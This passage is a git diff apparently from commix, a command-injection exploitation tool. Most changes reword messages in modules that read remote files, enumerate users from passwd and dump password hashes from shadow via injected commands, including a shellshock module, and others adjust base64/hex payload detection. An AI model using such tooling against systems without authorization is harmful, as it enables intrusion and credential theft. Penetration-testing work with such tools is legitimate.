e0ee3381ca..2a4844396c 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -35,7 +35,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Trying to read the content of file '" + info_msg = "Fetching the content of the file '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -59,19 +59,19 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Content of file '" - info_msg += file_to_read + "' has been extracted." + info_msg = "Fetched content of the file '" + info_msg += file_to_read + "'." print(settings.print_bold_info_msg(info_msg)) print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "Extracted content of file '" + info_msg = "Extracted content of the file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of file '" + file_to_read + "'." + warn_msg += "to read the content of the file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -101,7 +101,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: dest_to_write = menu.options.file_dest - info_msg = "Trying to write content of file '" + info_msg = "Trying to write the content of the file '" info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." print(settings.print_info_msg(info_msg)) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 292dc91897..74998f7872 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -468,7 +468,8 @@ def check_os_shell_options(cmd, technique, go_back, no_result): def procced_with_file_based_technique(): while True: if not menu.options.batch: - question_msg = "Do you want to procced with the (semi-blind) " + question_msg = "Due to the provided '--web-root' option," + question_msg += " do you want to procced with the (semi-blind) " question_msg += "file-based injection technique? [Y/n] > " enable_fb = _input(settings.print_question_msg(question_msg)) else: diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 150f79739d..2eaa747617 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -287,7 +287,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method # Windows users enumeration. if settings.TARGET_OS == "win": info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " + info_msg += "in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -357,8 +357,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method # Unix-like users enumeration. else: - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " + info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -451,8 +451,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.PASSWD_FILE + "'." print("\n" + settings.print_warning_msg(warn_msg)) except TypeError: sys.stdout.write(settings.FAIL_STATUS + "\n") @@ -491,8 +491,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me if sys_passes == "": sys_passes = " " if sys_passes : - info_msg = "Fetching '" + settings.SHADOW_FILE - info_msg += "' to enumerate users password hashes. " + info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = sys_passes.replace(" ", "\n") @@ -536,8 +536,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.SHADOW_FILE + "' file." print("\n" + settings.print_warning_msg(warn_msg)) """ @@ -547,7 +547,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ cmd = menu.options.os_cmd # if menu.file_access_options(): # sys.stdout.flush() - info_msg = "Executing the '" + cmd + "' command." + info_msg = "Executing the user-supplied command '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index b467ba67f0..2e9ecaa27c 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -36,7 +36,7 @@ """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Trying to read the content of file '" + info_msg = "Fetching the content of the file '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -60,19 +60,19 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Content of file '" - info_msg += file_to_read + "' has been extracted." + info_msg = "Fetched content of the file '" + info_msg += file_to_read + "'." print(settings.print_bold_info_msg(info_msg)) print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "Extracted content of file '" + info_msg = "Extracted content of the file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of file '" + file_to_read + "'." + warn_msg += "to read the content of the file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -105,7 +105,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, else: dest_to_write = menu.options.file_dest - info_msg = "Trying to write content of file '" + info_msg = "Trying to write the content of the file '" info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." print(settings.print_info_msg(info_msg)) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index f77cadba06..6155a8537c 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -289,7 +289,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method # Windows users enumeration. if settings.TARGET_OS == "win": info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " + info_msg += "in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -358,8 +358,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method pass else: - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " + info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -452,8 +452,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.PASSWD_FILE + "'." print("\n" + settings.print_warning_msg(warn_msg)) except TypeError: @@ -492,8 +492,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me if sys_passes == "": sys_passes = " " if sys_passes : - info_msg = "Fetching '" + settings.SHADOW_FILE - info_msg += "' to enumerate users password hashes. " + info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = "".join(str(p) for p in sys_passes) @@ -538,8 +538,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.SHADOW_FILE + "' file." print("\n" + settings.print_warning_msg(warn_msg)) """ @@ -547,7 +547,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd - info_msg = "Executing the '" + cmd + "' command." + info_msg = "Executing the user-supplied command '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 219383511f..e9e92fefc2 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -36,7 +36,7 @@ """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Trying to read the content of file '" + info_msg = "Fetching the content of the file '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -60,19 +60,19 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Content of file '" - info_msg += file_to_read + "' has been extracted." + info_msg = "Fetched content of the file '" + info_msg += file_to_read + "'." print(settings.print_bold_info_msg(info_msg)) print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "Extracted content of file '" + info_msg = "Extracted content of the file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of file '" + file_to_read + "'." + warn_msg += "to read the content of the file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -103,7 +103,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, else: dest_to_write = menu.options.file_dest - info_msg = "Trying to write content of file '" + info_msg = "Trying to write the content of the file '" info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." print(settings.print_info_msg(info_msg)) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 683a785a2b..25175bc380 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -268,7 +268,7 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h # if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " + info_msg += "in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -340,8 +340,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h else: # if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " + info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -434,8 +434,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.PASSWD_FILE + "'." print("\n" + settings.print_warning_msg(warn_msg)) except TypeError: sys.stdout.write(settings.FAIL_STATUS + "\n") @@ -472,8 +472,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac sys_passes = " " # if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.SHADOW_FILE - info_msg += "' to enumerate users password hashes. " + info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = "".join(str(p) for p in sys_passes) @@ -518,8 +518,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.SHADOW_FILE + "' file." print("\n" + settings.print_warning_msg(warn_msg)) """ @@ -527,7 +527,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac """ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): cmd = menu.options.os_cmd - info_msg = "Executing the '" + cmd + "' command." + info_msg = "Executing the user-supplied command '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 87fb39797c..a57d588e7e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -35,7 +35,7 @@ """ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Trying to read the content of file '" + info_msg = "Fetching the content of the file '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -56,19 +56,19 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Content of file '" - info_msg += file_to_read + "' has been extracted." + info_msg = "Fetched content of the file '" + info_msg += file_to_read + "'." print(settings.print_bold_info_msg(info_msg)) print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "Extracted content of file '" + info_msg = "Extracted content of the file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of file '" + file_to_read + "'." + warn_msg += "to read the content of the file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -99,7 +99,7 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt else: dest_to_write = menu.options.file_dest - info_msg = "Trying to write content of file '" + info_msg = "Trying to write the content of the file '" info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." print(settings.print_info_msg(info_msg)) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 25a7350230..031574444a 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -270,7 +270,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " + info_msg += "in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -339,8 +339,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " + info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -433,8 +433,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.PASSWD_FILE + "'." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() except TypeError: @@ -444,7 +444,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese except IndexError: sys.stdout.write(settings.FAIL_STATUS) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg += settings.PASSWD_FILE + "'." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass @@ -474,7 +474,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti if sys_passes : if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes. " + info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + "' in order to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = "".join(str(p) for p in sys_passes) @@ -518,8 +518,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.SHADOW_FILE + "' file." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() @@ -527,7 +527,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - info_msg = "Executing the '" + cmd + "' command." + info_msg = "Executing the user-supplied command '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 999d39283a..c611c9356c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -37,7 +37,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Trying to read the content of file '" + info_msg = "Fetching the content of the file '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -61,20 +61,20 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Content of file '" - info_msg += file_to_read + "' has been extracted." + info_msg = "Fetched content of the file '" + info_msg += file_to_read + "'." print(settings.print_bold_info_msg(info_msg)) print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "Extracted content of file '" + info_msg = "Extracted content of the file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: sys.stdout.flush() warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of file '" + file_to_read + "'." + warn_msg += "to read the content of the file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -104,7 +104,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: dest_to_write = menu.options.file_dest - info_msg = "Trying to write content of file '" + info_msg = "Trying to write the content of the file '" info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." print(settings.print_info_msg(info_msg)) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index adbd108bc1..cb9a1918f6 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -185,8 +185,8 @@ def enumeration(url, cve, check_header, filename): if menu.options.users: cmd = settings.SYS_USERS sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " + info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -280,8 +280,8 @@ def enumeration(url, cve, check_header, filename): else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.PASSWD_FILE + "'." print("\n" + settings.print_warning_msg(warn_msg)) except TypeError: sys.stdout.write(settings.FAIL_STATUS + "\n") @@ -291,7 +291,7 @@ def enumeration(url, cve, check_header, filename): except IndexError: sys.stdout.write(settings.FAIL_STATUS) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg += settings.PASSWD_FILE + "'." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass @@ -308,8 +308,8 @@ def enumeration(url, cve, check_header, filename): sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split( ) if len(sys_passes) != 0 : - info_msg = "Fetching '" + settings.SHADOW_FILE - info_msg += "' to enumerate users password hashes. " + info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write(settings.SUCCESS_STATUS) @@ -349,8 +349,8 @@ def enumeration(url, cve, check_header, filename): output_file.write(" " + fields[0]) output_file.close() else: - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.SHADOW_FILE + "' file." print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True @@ -464,13 +464,13 @@ def file_access(url, cve, check_header, filename): cmd = "cat " + settings.FILE_READ + file_to_read shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: - info_msg = "Content of file '" - info_msg += file_to_read + "' has been extracted." + info_msg = "Fetched content of the file '" + info_msg += file_to_read + "'." print(settings.print_bold_info_msg(info_msg)) print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "Extracted content of file '" + info_msg = "Extracted content of the file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() diff --git a/src/utils/settings.py b/src/utils/settings.py index 6dde46d08d..bf4d87735a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "45" +REVISION = "46" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From f80ed3e67b4c1c33000d355195a652328c71234a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 29 Apr 2022 07:17:58 +0300 Subject: [PATCH 0123/1023] Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s). --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 41 +++++++++++++------- src/core/injections/controller/controller.py | 5 +++ src/core/requests/parameters.py | 4 ++ src/utils/settings.py | 6 ++- 5 files changed, 41 insertions(+), 16 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index cc35e5fdf1..3f693d5d54 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s). * Added: New option `--no-logging` for disabling logging to a file. * Revised: Minor improvement regarding redirect handler. * Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 74998f7872..4a2482b96d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1008,16 +1008,15 @@ def tamper_scripts(stored_tamper_scripts): if "hexencode" or "base64encode" == script: settings.MULTI_ENCODED_PAYLOAD.append(script) import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0] - print(settings.SUB_CONTENT_SIGN + import_script.split(".")[3]) + print(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) try: module = __import__(import_script, fromlist=[None]) if not hasattr(module, "__tamper__"): err_msg = "Missing variable '__tamper__' " - err_msg += "in tamper script '" + import_script.split(".")[0] + "'." + err_msg += "in tamper script '" + import_script.split(".")[-1] + "'." print(settings.print_critical_msg(err_msg)) raise SystemExit() except ImportError as err_msg: - print(settings.print_error_msg(str(err_msg) + ".")) pass # Using too many tamper scripts is usually not a good idea. :P @@ -1235,25 +1234,39 @@ def recognise_payload(payload): payload = sleep2timeout.tamper(payload) is_decoded = False - if (len(payload) % 4 == 0) and \ - re.match(settings.BASE64_RECOGNITION_REGEX, payload) and \ - not re.match(settings.HEX_RECOGNITION_REGEX, payload): + encoded_with = "" + check_value = payload + + if not re.match(settings.HEX_RECOGNITION_REGEX, check_value): + if re.match(settings.BASE64_RECOGNITION_REGEX, check_value + settings.BASE64_PADDING ) and not settings.BASE64_PADDING in check_value: + check_value = payload + settings.BASE64_PADDING + + if (len(check_value.strip()) % 4 == 0) and \ + re.match(settings.BASE64_RECOGNITION_REGEX, check_value) and \ + not re.match(settings.HEX_RECOGNITION_REGEX, check_value): is_decoded = True settings.MULTI_ENCODED_PAYLOAD.append("base64encode") - decoded_payload = base64.b64decode(payload) - if re.match(settings.HEX_RECOGNITION_REGEX, payload): + decoded_payload = base64.b64decode(check_value) + encoded_with = "base64" + if re.match(settings.HEX_RECOGNITION_REGEX, check_value): settings.MULTI_ENCODED_PAYLOAD.append("hexencode") decoded_payload = hexdecode(decoded_payload) + encoded_with = "hex" - elif re.match(settings.HEX_RECOGNITION_REGEX, payload): + elif re.match(settings.HEX_RECOGNITION_REGEX, check_value): is_decoded = True settings.MULTI_ENCODED_PAYLOAD.append("hexencode") - decoded_payload = hexdecode(payload) - if (len(payload) % 4 == 0) and \ + decoded_payload = hexdecode(check_value) + encoded_with = "hex" + if (len(check_value.strip()) % 4 == 0) and \ re.match(settings.BASE64_RECOGNITION_REGEX, decoded_payload) and \ not re.match(settings.HEX_RECOGNITION_REGEX, decoded_payload): settings.MULTI_ENCODED_PAYLOAD.append("base64encode") decoded_payload = base64.b64decode(decoded_payload) + encoded_with = "base64" + + else: + decoded_payload = payload for encode_type in settings.MULTI_ENCODED_PAYLOAD: # Encode payload to base64 format. @@ -1264,15 +1277,15 @@ def recognise_payload(payload): hex_output(payload) if is_decoded: - return _urllib.parse.quote(decoded_payload) + return _urllib.parse.quote(decoded_payload), encoded_with else: - return payload + return payload, encoded_with """ Check for stored payloads and enable tamper scripts. """ def check_for_stored_tamper(payload): - decoded_payload = recognise_payload(payload) + decoded_payload, encoded_with = recognise_payload(payload) whitespace_check(decoded_payload) other_symbols(decoded_payload) check_quotes(decoded_payload) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 6ba341de85..07217d8538 100644 --- 